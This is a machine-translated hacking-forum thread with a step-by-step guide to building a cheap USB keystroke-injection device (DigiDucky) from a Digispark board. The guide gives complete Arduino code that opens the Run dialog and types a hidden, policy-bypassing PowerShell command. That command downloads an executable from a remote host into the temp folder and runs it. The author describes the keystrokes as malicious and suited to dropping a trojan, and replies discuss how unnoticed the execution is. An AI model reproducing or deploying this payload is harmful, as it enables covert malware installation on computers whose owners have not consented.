[Rubber Ducky] DigiDucky from scratch to intrusion.
🌐 This is an automatic translation of a topic from Underc0de, the largest Spanish-speaking hacking and IT community. Read the original (Spanish) and reply →
79137913 ·
HELLO!!!<br /><br />In this post I will explain from scratch how to make a DigiDucky (a much cheaper alternative to the RubberDucky).<br /><br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />Steps:<br /><br />1 - Buy the board:<br />For Argentinians I bought it from this seller and had no issues Los enlaces son solo para miembros. Registrate o iniciá sesión<br />For the rest of the World you can buy it from the official website of Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />2 - Setting up the development environment:<br /> a - Install the arduino IDE. Los enlaces son solo para miembros. Registrate o iniciá sesión<br /> b - Install the Digispark Drivers and the ide dependencies plus the libraries. Los enlaces son solo para miembros. Registrate o iniciá sesión (it's in English, but by looking at the photos it's easy)<br /><br />3 - The code:<br />For this post I'm going to translate the Los enlaces son solo para miembros. Registrate o iniciá sesión<br />Original payload:<br />Código: text
<br /><br />We will use the DigiKeyboard.h library which unfortunately is made for US layout keyboards and not for Spanish keyboards (which I assume is the one most of us use), to create scripts for Spanish keyboards you'll have to keep testing until you find the character you're looking for, though in my example you can see that most of them are already changed to the corresponding ones, with those you'll have plenty to make a ton of scripts, anyway if you need info on how to make a specific key tell me in this post and I'll tell you.<br /><br />Code for the arduino IDE [IF WE ARE GOING TO USE THE DIGIDUCKY ON A PC WITH ES(SPANISH) KEYBOARD LAYOUT]:<br />Código: cpp
<br />#include "DigiKeyboard.h"<br /><br />#define KEY_MODIFIER_LEFT_GUI 0x08<br /><br />int ciclos = 0;<br /><br />void setup() {<br /> pinMode(1, OUTPUT); // WE INITIALIZE PIN 1 (LED)<br /> digitalWrite(1, HIGH); // WE TURN ON THE LED TO KNOW THE DIGIDUCKY HAS STARTED<br />}<br /><br />void loop() {<br /> DigiKeyboard.update(); //we start and keep alive the keyboard driver<br /><br /> if (ciclos == 0) { //if it's the first cycle (this is so it only runs once)<br /> DigiKeyboard.sendKeyStroke(0); //We send an empty key to start the transfer<br /><br /> DigiKeyboard.delay(500); //We wait half a second to make sure the pc detects our Digispark as a keyboard<br /> <br /> //Payload Code: GUI r<br /> DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Start key(windows) + R<br /><br /> //Payload Code: DELAY 100<br /> DigiKeyboard.delay(250); // we wait 250ms (so the run window opens) (I increased the delay to 250 because it's more stable that way)<br /> <br /> //Payload Code: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""<br /> DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");<br /> DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // we write the backslash<br /> DigiKeyboard.print("bob.exe@(< Start/Process @$env>temp");<br /> DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // we write the backslash<br /> DigiKeyboard.print("bob.exe@@");<br /><br /> DigiKeyboard.delay(100); // We wait 100ms<br /><br /> //Payload Code: ENTER<br /> DigiKeyboard.sendKeyStroke(KEY_ENTER); // We press enter in the run window<br /> <br /> DigiKeyboard.delay(100); //We wait 100ms<br /> }<br /><br />//LIGHT SIGNAL (BLINK)<br />//Here we generate the light signal so we know the script has already run and we can remove the DigiDucky<br /> delay(150);<br /> digitalWrite(1, HIGH); <br /> delay(150);<br /> digitalWrite(1, LOW); <br />//LIGHT SIGNAL<br /> <br /> ciclos++; //We increase the counter so the keyboard sequence isn't run again later<br />}<br />
<br /><br />Code for the arduino IDE [IF WE ARE GOING TO USE THE DIGIDUCKY ON A PC WITH US(AMERICAN) KEYBOARD LAYOUT]:<br />Código: cpp
#include "DigiKeyboard.h"<br /><br />#define KEY_MODIFIER_LEFT_GUI 0x08<br /><br />int ciclos = 0;<br /><br />void setup() {<br /> pinMode(1, OUTPUT); // WE INITIALIZE PIN 1 (LED)<br /> digitalWrite(1, HIGH); // WE TURN ON THE LED TO KNOW THE DIGIDUCKY HAS STARTED<br />}<br /><br />void loop() {<br /> DigiKeyboard.update(); //we start and keep alive the keyboard driver<br /><br /> if (ciclos == 0) { //if it's the first cycle (this is so it only runs once)<br /> DigiKeyboard.sendKeyStroke(0); //We send an empty key to start the transfer<br /><br /> DigiKeyboard.delay(500); //We wait half a second to make sure the pc detects our Digispark as a keyboard<br /> <br /> //Payload Code: GUI r<br /> DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Start key(windows) + R<br /><br /> //Payload Code: DELAY 100<br /> DigiKeyboard.delay(250); // we wait 250ms (so the run window opens) (I increased the delay to 250 because it's more stable that way)<br /> <br /> //Payload Code: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""<br /> DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");<br /><br /> DigiKeyboard.delay(100); // We wait 100ms<br /><br /> //Payload Code: ENTER<br /> DigiKeyboard.sendKeyStroke(KEY_ENTER); // We press enter in the run window<br /> <br /> DigiKeyboard.delay(100); //We wait 100ms<br /> }<br /><br />//LIGHT SIGNAL (BLINK)<br />//Here we generate the light signal so we know the script has already run and we can remove the DigiDucky<br /> delay(150);<br /> digitalWrite(1, HIGH); <br /> delay(150);<br /> digitalWrite(1, LOW); <br />//LIGHT SIGNAL<br /> <br /> ciclos++; //We increase the counter so the keyboard sequence isn't run again later<br />}<br />
<br /><br />4 - Compile and upload:<br />We hit upload in the arduino IDE and then we connect the Digispark so the script gets flashed.<br /><br />5 - Have fun:<br />Connect the DigiDucky into any pc and watch the magic!<br /><br /><br />Footnotes:<br />The digispark doesn't get along well with the USB ports of pcs, so it's recommended to connect it through an adapter.<br />I used these 2 and they worked well:<br />Los enlaces son solo para miembros. Registrate o iniciá sesión: <br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br />Los enlaces son solo para miembros. Registrate o iniciá sesión (this one doesn't work to transfer the script, only to run it):<br />Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br /><br />UPDATE: Spanish and Latin American Spanish keyboard layouts<br /><br />THANKS FOR READING!!!
Gabriela ·
<br /> @79137913<br /><br />An interesting alternative, explained clearly, in detail and understandably.<br />You'll just have to get down to work and test it! <br /><br />Thanks for the contribution (and its neatness ;D of presentation) and +1.<br /><br />Regards<br /><br />Gabriela<br /><br />
rush ·
How's it going numbers, how unnoticed does the execution of the commands and windows go?(I imagine they can be seen), since I see you have to wait for the run window to open, the CMD commands, to run the payload, now another thing, what happens if you connect it to a pc that is locked, does the execution proceed?<br /><br />I liked it, and it seemed cheap to me compared to the RubberDucky.<br /><br />I'm almost about to buy it.<br /><br />Regards!
79137913 ·
HELLO!!!<br /><br />@rush<br /><br />The script, from the moment it opens the run window until the command is sent (that's when a powershell opens in the background that isn't visible) takes 3 seconds.<br /><br />If the pc is locked it won't run.<br /><br />THANKS FOR READING!!!
k3l0d3v ·
<br /> @79137913<br /><br />Helloooo!!<br />Maybe my question is silly but honestly I don't know what it's for, or what its function would be.. <br />Could someone explain to me more or less what its function would be? <br />Thanks!! Regards!<br />Ps: the post is very well explained, that's why it raised my doubt, let's see if I try it and make myself one :D
79137913 ·
HELLO!!!<br /><br />@Kelo_07 <br /><br />This device emulates a Los enlaces son solo para miembros. Registrate o iniciá sesión in plain words, it makes the pc believe it's a keyboard and sends a series of keystrokes.<br /><br />In this case the keystrokes are malicious, they download an exe and run it in the temp folder (this could be a trojan for example).<br /><br />THANKS FOR READING!!!
k3l0d3v ·
Hi @79137913 <br />Interesting.. Quite interesting.. I think something like this was seen in the Mr Robot series.. I think, I'm not sure..<br />I'm going to save the post in my favorites so I try to build it :D <br />Thanks for the post.. It's very well explained..<br />Regards!
Suri77 ·
Thanks for the info, very interesting, I'm going to try it!
HATI ·
@79137913 you nailed it. If I get the chance I'll try it.<br /><br />To favorites!
JoxM ·
Hi! <br /><br />Thanks for this info, I've been fiddling with Digispark for a couple of days and honestly for 1 euro it's amazing.<br /><br />I'm trying to make a European keyboard work without issues, I'm a bit of a newbie at this.<br /><br />It would be good to start gathering information about digispark, since what's available in Spanish is very scarce.<br /><br />I've been testing Duck2Park and it seems to work quite well.<br /><br />Now I've started developing an application to program with digispark, I want to do something similar to this: Los enlaces son solo para miembros. Registrate o iniciá sesión<br /><br />And I'll also integrate Duck2Park directly.<br /><br />Regards!
Akra2k ·
Interesting... I searched a lot for pendrives with Phison, but in this country it's impossible,